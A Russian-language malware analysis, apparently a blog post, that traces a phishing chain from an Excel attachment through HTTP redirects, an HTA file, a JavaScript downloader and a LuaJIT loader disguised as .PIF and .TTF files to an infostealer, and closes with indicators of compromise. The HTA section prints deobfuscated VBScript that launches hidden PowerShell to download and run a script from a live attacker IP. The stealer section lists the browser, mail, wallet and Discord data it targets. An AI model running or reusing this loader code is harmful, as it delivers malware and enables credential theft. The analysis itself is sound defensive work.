Введение
Большинство современных вредоносных рассылок уже давно не используют классические макросы Microsoft Office. Вместо этого злоумышленники строят многоступенчатые цепочки заражения, где каждый компонент выполняет только одну небольшую задачу: первоначальный документ лишь инициирует загрузку следующего этапа, тот скачивает новый компонент, который в свою очередь запускает основной вредоносный модуль.
В ходе анализа одного из подобных образцов была исследована полная цепочка заражения — от письма с вложением Excel до запуска LuaJIT-загрузчика и последующего инфостилера. Интересной особенностью кампании является использование файлов с нестандартными расширениями (.PIF и .TTF), которые на самом деле не являются ни ярлыком, ни шрифтом.
Ниже рассмотрим каждый этап работы вредоносной цепочки.
Первоначальное письмо
На электронную почту поступает письмо с вложением:
Номер заказа 6482.xls
При открытии документа пользователь не наблюдает какой-либо подозрительной активности. Документ практически пустой и не содержит заметного содержимого.
Однако если открыть файл как Compound File Storage (OLE Structured Storage), можно увидеть следующую структуру:
MBD000203B4 └── [1]Ole
Для документов формата XLS наличие OLE-потоков является абсолютно нормальным явлением.
Однако содержимое потока [1]Ole заслуживает внимания.
Внутри присутствует строка:
http://030073154515/.windowslatest.com20260614windows-11-kb5094126-issues-include-boot-failures-bsod-bitlocker-recovery-on-some-pcs-hp-onedrive-sync-and-enterprise-apps.php
На первый взгляд URL напоминает новостную публикацию о Windows Update на сайте WindowsLatest. На самом деле это лишь попытка замаскировать вредоносную инфраструктуру под легитимный ресурс.
Сетевая цепочка
После открытия документа начинается последовательность HTTP-запросов.
Первый запрос выполняется по адресу:
http://192.236.217.77/.windowslatest.com20260614windows-11-kb5094126-issues-include-boot-failures-bsod-bitlocker-recovery-on-some-pcs-hp-onedrive-sync-and-enterprise-apps.php
Сервер отвечает:
HTTP/1.1 301 Moved Permanently
После чего происходит перенаправление на сокращённую ссылку:
https://masuk.to/fypLcP
Следующий ответ:
HTTP/1.1 302 Found
и браузер перенаправляется на конечный адрес:
http://192.236.217.77/33/ev/fdd.hta
Именно здесь начинается фактическая стадия заражения.
Схематично цепочка выглядит следующим образом:
Excel │ ▼ OLE Stream │ ▼ HTTP Request │ ▼ 301 Redirect │ ▼ Shortener │ ▼ 302 Redirect │ ▼ fdd.hta
Использование нескольких HTTP-редиректов позволяет злоумышленникам:
затруднить анализ;
быстро менять конечный сервер;
скрывать реальную инфраструктуру;
обходить простые URL-фильтры.
Анализ HTA-файла
После прохождения цепочки редиректов загружается файл
fdd.hta
HTA (HTML Application) представляет собой обычный HTML-документ, который исполняется движком Internet Explorer с практически полными правами пользователя.
Основной код представляет собой сильно обфусцированный VBScript.
После деобфускации получается следующий код:
Option Explicit Dim sh Dim cmd Set sh = CreateObject("WScript.Shell") cmd = "%COMSPEC% /C " & _ "powershell.exe " & _ "-ExecutionPolicy Bypass " & _ "-NoProfile " & _ "-WindowStyle Hidden " & _ "-Command " & _ """wget http://192.236.217.77/33/goodpeoplesgivingbestserviceforbest.js " & _ "-OutFile $env:AppData\goodpeoplesgivingbestserviceforbest.js; " & _ "& $env:AppData\goodpeoplesgivingbestserviceforbest.js""" sh.Run cmd, 0, False Set sh = Nothing
Несмотря на небольшой объём кода, данный скрипт выполняет функцию полноценного загрузчика.
Последовательность его работы следующая:
Создаётся объект
WScript.Shell.Через
%COMSPEC%запускаетсяcmd.exe.Из
cmd.exeзапускается PowerShell.PowerShell стартует в скрытом режиме.
Политика выполнения скриптов отключается (
ExecutionPolicy Bypass).Пользовательский профиль не загружается (
NoProfile).Окно PowerShell скрывается (
WindowStyle Hidden).Выполняется загрузка следующего этапа.
Загруженный JavaScript сразу исполняется.
Фактически данный HTA-файл не содержит вредоносной нагрузки как таковой. Его единственная задача — загрузить следующий компонент.
JavaScript-загрузчик
Следующим этапом становится выполнение файла
goodpeoplesgivingbestserviceforbest.js
Несмотря на большое название, функциональность достаточно простая. Скрипт скачивает два файла:
JJGIMJPBTQUZEYUL.PIF JJGIMJPBTQUZEYUL.ttf
На первый взгляд может показаться, что:
PIF — старый ярлык Windows;
TTF — обычный шрифт.
Однако оба файла используются совершенно иначе.
Необычное использование PIF
Файл
JJGIMJPBTQUZEYUL.PIF
на самом деле является исполняемым LuaJIT Loader.
Второй файл
JJGIMJPBTQUZEYUL.ttf
не является шрифтом. Это обычный Lua-скрипт.
Запуск происходит следующим образом:
"C:\Users\<user>\Documents\JJGIMJPBTQUZEYUL.PIF" C:\Users\<user>\Documents\JJGIMJPBTQUZEYUL.ttf
Таким образом:
PIF ↓ LuaJIT Runtime ↓ TTF ↓ Lua Script
Расширение .ttf используется исключительно для маскировки.
Сам LuaJIT Loader получает путь к файлу и интерпретирует его как Lua-код.
Подобный подход имеет сразу несколько преимуществ:
обход простых сигнатур;
сокрытие настоящего назначения файла;
усложнение статического анализа;
снижение количества детектов антивирусами.
Поведение Lua-скрипта
После запуска начинается активный сбор информации о системе.
Сбор сведений о системе
Сначала производится чтение различных ключей реестра.
Получается:
MachineGuid;
ComputerName;
InstallationType;
версия таблиц сортировки NLS.
Это позволяет сформировать уникальный идентификатор заражённой системы.
Отключение журналирования
Далее вредоносная программа изменяет настройки трассировки Windows.
Изменяется значение:
HKLM\SOFTWARE\Microsoft\Tracing\ JJGIMJPBTQUZEYUL_RASAPI32
Параметр:
EnableFileTracing = 0
Тем самым отключается файловое журналирование RAS API.
Подобная техника соответствует MITRE ATT&CK:
T1562.002 Impair Defenses
Проверка параметров Internet Explorer
Следующим этапом читаются настройки безопасности Internet Explorer.
В частности анализируются параметры:
DisableSecuritySettingsCheck
и
RunBinaryControlHostProcessInSeparateAppContainer
Даже несмотря на то, что Internet Explorer давно считается устаревшим, его компоненты до сих пор используются многими системными механизмами Windows.
Запуск браузеров
Интересной особенностью является запуск Chrome и Microsoft Edge с необычными параметрами.
Например:
--no-sandbox --disable-gpu --disable-audio --mute-audio --user-data-dir=<Temp>
Создаётся полностью отдельный профиль пользователя.
Это позволяет избежать конфликтов с уже работающим браузером и выполнять операции независимо от основной пользовательской сессии.
Поиск конфиденциальной информации
Наиболее интересная часть начинается далее. Lua-скрипт начинает проверять наличие множества файлов и директорий.
Почтовые клиенты
Проверяются:
Thunderbird Mailbird Microsoft Outlook
В Outlook производится обращение к ключам профиля:
POP3 Password
Браузеры
Проверяются:
Google Chrome Microsoft Edge Opera Opera GX
Изучаются:
Cookies;
Local State;
профили пользователей;
настройки браузеров.
Менеджеры паролей
Производятся обращения к расширениям популярных менеджеров паролей.
Например:
aeblfdkhhhdcdjpifhhbdiojplfjncoa
Криптовалютные кошельки
Проверяются каталоги расширений:
kkpllkodjeloidieedojogacfhpaihoh fcfcfllfndlomdhbehjjcoimbgofdncg lgmpcpglpngdoalbgeoldeajfclnhafa jnlgamecbpmbajjfhmmmlhejkemejdma mcohilncbfahbmgdjkbpemcciiolgcge
Каждый идентификатор соответствует определённому браузерному расширению криптовалютного кошелька.
Discord
Также производится поиск:
Discord
В частности:
Local Storage
где могут храниться токены авторизации.
Общая схема заражения
Полная цепочка выглядит следующим образом:
Email │ ▼ Excel (.xls) │ ▼ OLE Object │ ▼ HTTP Request │ ▼ 301 Redirect │ ▼ 302 Redirect │ ▼ HTA │ ▼ VBScript │ ▼ PowerShell │ ▼ JavaScript │ ▼ LuaJIT Loader (.PIF) │ ▼ Lua Script (.TTF) │ ▼ System Reconnaissance Credential Access Browser Data Collection Crypto Wallet Discovery │ ▼ 38.49.217.157
Каждый этап выполняет только одну функцию, благодаря чему вся цепочка становится значительно менее заметной для средств защиты. И все полученные данные отправляет уже на IP как 38.49.217.157.
Индикаторы компрометации (IOC)
Файл | SHA256 |
|---|---|
Номер заказа 6482 .xls | a95dedfe8471179b42d61538954be3d42aec68321181ac9bc74fefc30160991d |
fdd.hta | 540a0c9d12b13a3b084fac354c6c3cf7bfaea52bdf7c00ef69f9bb1881060498 |
JJGIMJPBTQUZEYUL.PIF | 52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1 |
JJGIMJPBTQUZEYUL.ttf | c33c556661cb27e1277702cbba93dfd466742690edca38ea55bf5532387068a6 |
Файлы
Номер заказа 6482.xls fdd.hta goodpeoplesgivingbestserviceforbest.js JJGIMJPBTQUZEYUL.PIF JJGIMJPBTQUZEYUL.ttf
Сетевые индикаторы
192.236.217.77 masuk.to 38.49.217.157
Ключевые команды
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden
Отдельно хочется отметить, что на момент анализа сервер http://192.236.217.77/33 всё ещё оставался доступен, а файлы, которые использовались в данной цепочке заражения, продолжали находиться на нём. То есть инфраструктура атаки не была отключена и всё ещё могла использоваться для дальнейшего распространения.
Поэтому будьте внимательны при работе с письмами и вложениями, особенно с документами .xls от неизвестных отправителей. На первый взгляд такой файл может выглядеть как обычный документ, но внутри может скрываться целая цепочка загрузки вредоносного ПО.
Заключение
Разобранная цепочка показывает современный подход к распространению вредоносного ПО. Вместо одного исполняемого файла злоумышленники используют несколько этапов, где каждый компонент выполняет свою задачу: документ Microsoft Excel Workbook (*.xls) запускает начальную цепочку, HTML Application (*.hta) загружает следующий этап, PowerShell получает скрипт JavaScript (*.js), а LuaJIT Loader запускает основной Lua-код, скрытый под расширением TrueType Font (*.ttf).
Использование нестандартных расширений .pif и .ttf, а также нескольких языков сценариев усложняет анализ и помогает обходить простые средства обнаружения.
Финальный Lua-модуль выполняет сбор информации о системе, проверяет наличие данных браузеров, почтовых клиентов, менеджеров паролей, криптовалютных расширений и других источников конфиденциальной информации. Такое поведение характерно для современных инфостилеров, основной целью которых является кража учётных данных и пользовательских данных.
В результате перед нами многоступенчатая атака, где каждый отдельный файл выглядит менее подозрительно, но вместе они формируют полноценную цепочку заражения.
